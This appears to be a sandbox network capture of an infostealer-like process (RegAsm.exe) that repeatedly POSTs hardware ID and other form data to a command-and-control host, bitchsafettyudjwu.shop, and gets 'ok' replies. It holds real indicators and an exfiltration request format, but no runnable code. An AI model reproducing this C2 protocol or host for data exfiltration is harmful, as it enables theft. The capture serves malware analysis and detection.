2024-07-04 19:48:57 UTC	1369	IN	Data Raw: 72 76 37 31 6a 70 4d 70 59 61 61 4b 53 70 4d 45 78 4c 48 4a 42 30 50 54 2b 71 67 50 2b 4f 4b 63 57 2f 31 59 58 35 45 36 48 5a 57 47 33 2b 7a 66 6e 6a 78 77 6d 35 4e 4f 6e 31 33 39 77 50 41 66 77 2f 76 4b 2b 53 38 73 38 6f 78 44 77 51 56 71 74 58 73 6b 49 42 39 6a 6b 65 61 61 4e 55 43 6a 2b 30 65 44 42 4f 69 64 73 52 73 7a 38 2f 37 34 46 2b 7a 6d 67 48 66 6c 58 48 2b 68 4d 69 57 5a 72 73 50 55 2f 35 34 52 51 59 71 57 58 6f 34 39 78 61 6a 35 41 78 72 6d 70 37 6b 6e 50 50 4b 6b 5a 35 56 51 55 72 77 4f 59 4c 67 54 59 6c 69 4b 6b 79 6c 74 6b 35 73 76 69 6a 7a 55 75 63 30 37 56 2f 76 6d 67 47 2f 55 77 72 68 66 77 55 52 44 73 53 59 31 6d 59 72 4c 36 50 75 47 59 55 6d 4f 72 6b 4b 72 4a 66 32 59 38 42 39 6e 68 73 66 52 4c 76 68 47 75 44 2b 46 6c 47 66 35 51 78 79 Data Ascii: rv71jpMpYaaKSpMExLHJB0PT+qgP+OKcW/1YX5E6HZWG3+zfnjxwm5NOn139wPAfw/vK+S8s8oxDwQVqtXskIB9jkeaaNUCj+0eDBOidsRsz8/74F+zmgHflXH+hMiWZrsPU/54RQYqWXo49xaj5Axrmp7knPPKkZ5VQUrwOYLgTYliKkyltk5svijzUuc07V/vmgG/UwrhfwURDsSY1mYrL6PuGYUmOrkKrJf2Y8B9nhsfRLvhGuD+FlGf5Qxy
2024-07-04 19:48:57 UTC	1369	IN	Data Raw: 4e 4b 53 2f 58 32 61 6f 6c 4c 61 50 66 54 63 77 4c 37 57 53 36 4f 35 4a 2b 54 50 74 52 72 55 58 46 75 5a 42 6a 47 70 6f 73 2f 6f 32 34 34 6c 62 61 36 75 55 71 73 45 34 4c 48 4a 4f 30 2f 2f 78 71 77 33 37 4c 61 67 58 2b 31 74 61 6f 51 50 48 5a 33 54 7a 70 58 6d 6d 70 56 74 2b 70 62 79 6a 33 6a 5a 6f 50 46 69 51 6b 5a 72 48 45 4c 78 2f 71 68 4b 33 44 31 69 76 52 6f 4a 6f 5a 37 58 31 4f 2f 53 50 55 6d 4f 6e 6d 61 62 4f 4d 69 52 34 52 39 2f 35 39 36 41 4a 2b 54 69 2f 44 50 4a 52 43 4f 55 42 79 53 49 73 74 4f 56 37 76 73 67 63 58 72 61 45 73 64 6c 39 48 58 31 4a 30 50 37 6e 37 45 76 68 63 63 56 31 6e 45 35 59 72 30 61 4c 49 44 54 78 76 54 44 6d 68 6c 74 67 6f 4a 65 6f 77 44 41 68 62 45 62 53 39 2b 4f 72 43 66 63 78 6f 68 4c 2b 57 68 33 69 53 6f 31 74 61 4c 54 Data Ascii: NKS/X2aolLaPfTcwL7WS6O5J+TPtRrUXFuZBjGpos/o244lba6uUqsE4LHJO0//xqw37LagX+1taoQPHZ3TzpXmmpVt+pbyj3jZoPFiQkZrHELx/qhK3D1ivRoJoZ7X1O/SPUmOnmabOMiR4R9/596AJ+Ti/DPJRCOUBySIstOV7vsgcXraEsdl9HX1J0P7n7EvhccV1nE5Yr0aLIDTxvTDmhltgoJeowDAhbEbS9+OrCfcxohL+Wh3iSo1taLT
2024-07-04 19:48:57 UTC	1369	IN	Data Raw: 46 4a 6d 72 35 36 6d 78 7a 67 6d 63 30 7a 59 38 76 61 72 44 2f 4d 33 6f 42 76 30 56 68 37 6c 55 34 52 72 5a 72 37 33 65 36 6a 49 48 47 2b 2b 30 2f 69 4e 66 77 39 79 62 73 37 69 34 37 70 4a 76 43 44 6a 64 70 77 38 41 36 30 42 67 47 77 73 36 37 39 37 35 59 56 56 5a 36 36 62 72 38 41 37 4a 6e 68 42 30 2f 7a 2b 70 68 76 32 4d 61 41 56 2b 46 77 49 37 30 79 44 62 47 69 37 39 6a 47 6d 78 42 34 6f 6f 59 76 67 6c 33 31 6f 53 30 72 52 2b 66 4b 36 53 62 77 67 34 33 61 63 50 41 4f 74 41 59 42 73 4c 4f 75 2f 65 2b 71 45 58 47 65 71 6e 36 76 48 50 69 52 77 51 4e 76 77 2b 61 51 62 2f 7a 75 6c 48 2f 6c 59 47 2b 74 45 67 6d 52 72 74 2f 73 30 70 73 51 65 4b 4b 47 4c 34 4a 64 39 61 46 46 67 36 37 76 51 6c 6b 6d 38 49 4f 4e 32 6e 44 77 44 72 51 47 41 62 43 7a 72 76 33 76 71 Data Ascii: FJmr56mxzgmc0zY8varD/M3oBv0Vh7lU4RrZr73e6jIHG++0/iNfw9ybs7i47pJvCDjdpw8A60BgGws67975YVVZ66br8A7JnhB0/z+phv2MaAV+FwI70yDbGi79jGmxB4ooYvgl31oS0rR+fK6Sbwg43acPAOtAYBsLOu/e+qEXGeqn6vHPiRwQNvw+aQb/zulH/lYG+tEgmRrt/s0psQeKKGL4Jd9aFFg67vQlkm8ION2nDwDrQGAbCzrv3vq
2024-07-04 19:48:57 UTC	1369	IN	Data Raw: 65 51 70 4d 51 34 4c 6e 68 47 33 66 7a 79 71 51 2f 2f 50 36 45 55 38 46 38 51 34 55 79 42 5a 47 71 31 76 58 57 6b 79 6c 74 77 35 73 76 69 6a 77 30 6c 63 45 37 64 2f 2f 79 36 49 63 39 2f 37 77 47 35 50 33 47 45 57 4d 55 67 61 37 2b 39 59 36 54 4b 57 47 4f 75 6e 36 58 48 4f 69 6c 32 54 64 62 32 2f 72 34 49 38 54 61 71 46 66 70 59 46 4f 70 50 6c 57 64 6e 75 50 55 79 36 49 77 63 4a 75 54 54 70 39 64 2f 63 44 77 48 36 50 72 2f 70 78 6a 78 50 4b 46 65 74 55 68 55 68 79 72 73 65 53 37 7a 2b 6a 65 6d 30 68 34 6f 72 4a 69 6b 7a 44 73 74 63 55 62 66 2f 2b 4f 72 41 4f 77 78 6f 42 48 2f 58 78 50 75 52 59 4a 74 61 72 2f 33 4f 75 47 45 55 6d 44 6d 33 65 4b 50 4f 44 41 2b 48 35 79 35 30 4c 77 53 37 43 6d 67 50 2f 70 59 57 71 31 65 79 51 67 48 32 4f 52 35 70 6f 31 51 4b Data Ascii: eQpMQ4LnhG3fzyqQ//P6EU8F8Q4UyBZGq1vXWkyltw5svijw0lcE7d//y6Ic9/7wG5P3GEWMUga7+9Y6TKWGOun6XHOil2Tdb2/r4I8TaqFfpYFOpPlWdnuPUy6IwcJuTTp9d/cDwH6Pr/pxjxPKFetUhUhyrseS7z+jem0h4orJikzDstcUbf/+OrAOwxoBH/XxPuRYJtar/3OuGEUmDm3eKPODA+H5y50LwS7CmgP/pYWq1eyQgH2OR5po1QK
2024-07-04 19:48:57 UTC	1369	IN	Data Raw: 49 4d 32 67 6d 42 5a 37 33 2b 4b 30 42 38 44 4f 6c 47 75 56 58 45 65 5a 4f 68 6d 39 73 73 50 77 78 37 70 68 61 61 4b 32 62 70 38 63 37 4a 6d 78 47 30 62 6d 2f 37 6b 6e 35 4a 2b 31 47 74 52 63 72 2b 55 61 41 62 79 36 61 2b 69 44 6e 67 46 39 6a 71 74 50 69 30 48 46 41 46 53 7a 48 75 37 47 72 42 62 35 6e 37 31 37 36 57 78 66 72 55 34 74 67 62 4c 72 36 4d 66 53 46 55 32 57 6c 6b 36 58 64 50 6a 70 78 54 4e 76 36 39 61 4d 47 38 6a 65 6e 58 72 6b 56 57 75 68 5a 78 7a 67 75 38 39 45 34 39 34 41 65 54 37 79 46 70 38 4d 75 49 33 4e 4c 6e 72 76 75 34 6d 47 56 56 4c 52 63 74 31 41 57 72 78 6e 46 49 47 79 79 38 43 6e 6a 69 31 5a 69 71 35 75 76 79 6a 6f 6e 65 6b 50 56 39 2b 4f 69 42 76 34 35 70 68 2f 79 56 42 48 6c 54 34 35 79 4c 50 32 2f 65 2b 47 53 48 44 44 6b 30 34 Data Ascii: IM2gmBZ73+K0B8DOlGuVXEeZOhm9ssPwx7phaaK2bp8c7JmxG0bm/7kn5J+1GtRcr+UaAby6a+iDngF9jqtPi0HFAFSzHu7GrBb5n7176WxfrU4tgbLr6MfSFU2Wlk6XdPjpxTNv69aMG8jenXrkVWuhZxzgu89E494AeT7yFp8MuI3NLnrvu4mGVVLRct1AWrxnFIGyy8Cnji1Ziq5uvyjonekPV9+OiBv45ph/yVBHlT45yLP2/e+GSHDDk04
2024-07-04 19:48:57 UTC	575	IN	Data Raw: 64 56 58 56 36 2f 71 6b 43 76 41 33 70 42 37 35 56 78 76 69 51 63 63 75 4c 76 50 36 49 36 62 53 48 69 69 44 73 4c 66 5a 4e 57 70 64 55 4d 6a 7a 39 71 41 66 39 54 36 75 43 50 70 48 57 71 31 65 79 51 67 48 32 4f 52 35 70 6f 31 51 4b 50 37 52 34 4d 51 77 4a 6e 4e 4d 32 76 44 30 70 41 72 37 4f 71 63 53 2b 31 59 53 35 6b 75 43 5a 57 71 35 2f 6a 58 70 69 31 42 73 72 35 32 70 6a 33 46 71 50 6b 44 47 75 61 6e 75 53 63 67 76 71 67 62 36 52 31 6a 64 51 70 5a 78 65 62 37 74 50 61 53 6c 58 32 53 6c 6c 71 66 66 66 32 70 68 43 62 61 53 6d 72 56 4c 76 6a 69 68 58 71 38 56 57 75 39 46 69 32 4e 72 76 66 49 32 36 59 31 58 5a 36 79 64 73 73 41 36 49 48 4a 50 30 2b 76 37 70 68 76 33 4e 71 41 51 2f 30 55 5a 72 77 2f 46 49 47 75 72 76 57 4f 6b 79 6d 35 69 70 5a 2b 32 77 6a 42 Data Ascii: dVXV6/qkCvA3pB75VxviQccuLvP6I6bSHiiDsLfZNWpdUMjz9qAf9T6uCPpHWq1eyQgH2OR5po1QKP7R4MQwJnNM2vD0pAr7OqcS+1YS5kuCZWq5/jXpi1Bsr52pj3FqPkDGuanuScgvqgb6R1jdQpZxeb7tPaSlX2Sllqfff2phCbaSmrVLvjihXq8VWu9Fi2NrvfI26Y1XZ6ydssA6IHJP0+v7phv3NqAQ/0UZrw/FIGurvWOkym5ipZ+2wjB
2024-07-04 19:48:57 UTC	1369	IN	Data Raw: 33 31 62 66 0d 0a 4e 46 6d 6b 57 70 72 6f 2f 6f 73 36 63 6f 53 41 4d 33 34 79 34 38 77 61 43 59 46 35 37 6e 34 71 78 4c 76 4b 61 41 4f 38 42 63 6c 6f 53 6e 73 43 77 66 7a 35 58 75 2b 79 42 78 64 70 5a 32 75 79 43 6b 35 4d 32 44 49 38 2f 61 38 44 75 6b 77 37 56 43 66 50 48 47 45 41 59 45 67 4e 50 47 75 64 59 37 68 4e 77 50 6d 6c 37 47 50 5a 32 6f 75 46 59 57 73 6f 76 74 5a 72 46 66 47 64 65 67 5a 63 6f 51 71 6e 67 67 48 32 4a 5a 37 38 4d 6f 45 4b 76 54 64 79 4b 52 55 51 7a 35 56 6e 71 47 7a 37 45 37 39 4c 62 38 59 39 45 45 5a 71 48 2b 35 52 33 61 2b 2b 79 7a 33 74 47 4a 76 76 4a 36 6d 32 43 35 6b 61 30 54 51 39 2f 61 36 53 62 42 58 78 6e 57 63 46 78 57 76 47 63 56 5a 4c 50 75 39 42 4b 6a 69 4e 77 50 4e 30 37 69 50 5a 32 6f 2b 63 74 33 33 2f 36 73 66 37 33 Data Ascii: 31bfNFmkWpro/os6coSAM34y48waCYF57n4qxLvKaAO8BcloSnsCwfz5Xu+yBxdpZ2uyCk5M2DI8/a8Dukw7VCfPHGEAYEgNPGudY7hNwPml7GPZ2ouFYWsovtZrFfGdegZcoQqnggH2JZ78MoEKvTdyKRUQz5VnqGz7E79Lb8Y9EEZqH+5R3a++yz3tGJvvJ6m2C5ka0TQ9/a6SbBXxnWcFxWvGcVZLPu9BKjiNwPN07iPZ2o+ct33/6sf73
2024-07-04 19:48:57 UTC	1369	IN	Data Raw: 57 77 79 6a 52 5a 55 67 49 76 47 39 4b 75 32 46 54 6d 61 68 33 4c 48 5a 4d 6a 68 39 51 74 6d 31 2b 62 30 45 38 6e 2f 6a 58 4c 64 43 45 65 4e 48 69 6e 55 6a 6f 75 73 34 38 49 30 51 59 4c 65 65 72 49 38 41 5a 68 59 73 74 5a 4b 78 74 45 6d 6d 66 65 30 72 39 46 6b 55 36 46 65 57 4c 55 79 34 38 54 6a 71 69 31 73 6f 36 50 76 4c 70 46 52 6f 65 41 65 47 75 36 4c 69 59 5a 56 55 78 6c 37 7a 52 6c 71 33 41 39 63 79 4e 2b 61 75 62 4c 62 59 4e 41 50 4e 6a 4f 36 6e 56 45 4e 6e 4c 37 57 53 6d 75 77 66 76 6d 66 76 54 4c 6b 2f 63 59 51 71 78 33 49 73 36 37 39 37 6f 59 6c 4f 65 71 43 51 74 73 78 34 46 6b 42 47 30 2f 61 39 6f 67 4c 2b 4f 4c 30 49 37 42 73 53 37 46 75 64 58 6c 4b 59 38 54 33 68 6b 46 74 75 67 4c 50 67 67 56 64 44 46 53 79 65 39 72 48 30 53 38 64 2f 35 56 37 Data Ascii: WwyjRZUgIvG9Ku2FTmah3LHZMjh9Qtm1+b0E8n/jXLdCEeNHinUjous48I0QYLeerI8AZhYstZKxtEmmfe0r9FkU6FeWLUy48Tjqi1so6PvLpFRoeAeGu6LiYZVUxl7zRlq3A9cyN+aubLbYNAPNjO6nVENnL7WSmuwfvmfvTLk/cYQqx3Is6797oYlOeqCQtsx4FkBG0/a9ogL+OL0I7BsS7FudXlKY8T3hkFtugLPggVdDFSye9rH0S8d/5V7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	104.21.27.50	443	7560	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 19:48:58 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18167 Host: bitchsafettyudjwu.shop
2024-07-04 19:48:58 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 37 42 38 31 41 43 43 34 33 33 39 44 36 46 38 39 32 43 32 30 46 45 36 39 45 36 42 45 38 39 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 53 45 46 59 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB7B81ACC4339D6F892C20FE69E6BE89--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@SEFY
2024-07-04 19:48:58 UTC	2836	OUT	Data Raw: b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 f8 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-07-04 19:48:58 UTC	802	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 19:48:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3842f95aj1k9oe6ehih88ur69q; expires=Mon, 28-Oct-2024 13:35:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R2Dt1i4nTlMbgFluVImwRbk8Cp70ElYqK5k86xES%2FGmyhejYhdLztdb2yWomNabqrD78EPWocIvF4dZSeWnO2R9k8yoq9JqwhBedz%2Bq282RZ8z9yeP4IVqLCf9AZ8VZoCW5Bo7qrayfu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89e1a2c72fa517fd-EWR alt-svc: h3=":443"; ma=86400
2024-07-04 19:48:58 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-04 19:48:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	104.21.27.50	443	7560	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 19:48:59 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8788 Host: bitchsafettyudjwu.shop
2024-07-04 19:48:59 UTC	8788	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 37 42 38 31 41 43 43 34 33 33 39 44 36 46 38 39 32 43 32 30 46 45 36 39 45 36 42 45 38 39 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 53 45 46 59 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB7B81ACC4339D6F892C20FE69E6BE89--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@SEFY
2024-07-04 19:48:59 UTC	804	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 19:48:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=56oik75g1647f0va7aikcv05se; expires=Mon, 28-Oct-2024 13:35:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=axB2qvtO%2FLN1KoWlfA%2FxiV4mbWE4g5ngcJmdqDsaB2aGltLwwpjGzvFr5%2BWhYrHasrDQTGntnKVYA1GwqnbPh8zbFuPzNlPIx4CgjIgxLXOZCfFoZ2ovUhMC0NWKxvvL8NclJYQ8paA2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89e1a2cd5c5c432c-EWR alt-svc: h3=":443"; ma=86400
2024-07-04 19:48:59 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-04 19:48:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49739	104.21.27.50	443	7560	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 19:49:00 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20441 Host: bitchsafettyudjwu.shop
2024-07-04 19:49:00 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 37 42 38 31 41 43 43 34 33 33 39 44 36 46 38 39 32 43 32 30 46 45 36 39 45 36 42 45 38 39 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 53 45 46 59 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB7B81ACC4339D6F892C20FE69E6BE89--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@SEFY
2024-07-04 19:49:00 UTC	5110	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 Data Ascii: `M?lrQMn 64F6(X&7~`a
2024-07-04 19:49:00 UTC	814	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 19:49:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=itkiv9vf325ijetheaddq36uco; expires=Mon, 28-Oct-2024 13:35:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R%2BvLO0NHahKptNzPf%2Bo1c%2F%2FDR5LzSKQGkgTOelRI0lRht%2Bv8Kzl2yKo43yXU5XE%2FMOE3I6sL4%2F2Vqs1ywP3M9MIrXa%2FA72mj1Ewa6nrhuxPO9pyz9lnfLFg9Uo6RCW03vsmPsPmY88hB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89e1a2d3dc5143f9-EWR alt-svc: h3=":443"; ma=86400
2024-07-04 19:49:00 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-04 19:49:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	104.21.27.50	443	7560	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 19:49:01 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5442 Host: bitchsafettyudjwu.shop
2024-07-04 19:49:01 UTC	5442	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 37 42 38 31 41 43 43 34 33 33 39 44 36 46 38 39 32 43 32 30 46 45 36 39 45 36 42 45 38 39 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 53 45 46 59 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB7B81ACC4339D6F892C20FE69E6BE89--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@SEFY
2024-07-04 19:49:01 UTC	804	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 19:49:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=87hqn4u5krk1hpv80elqicv251; expires=Mon, 28-Oct-2024 13:35:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N2FvCiSCrHBYHHU72Oyoho%2Fb8OY0M92IFOT%2FS1v3ldWvXhmiJYuDJhz1CXAlvWNe6WX5pLg4vjw5Ake4XJgTsROj6c4zUSfy8LOWBIKTqWrAAKAv5TIQW0BokOKzE8Ta7%2FEPnuSwQkW1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89e1a2dae8658c6f-EWR 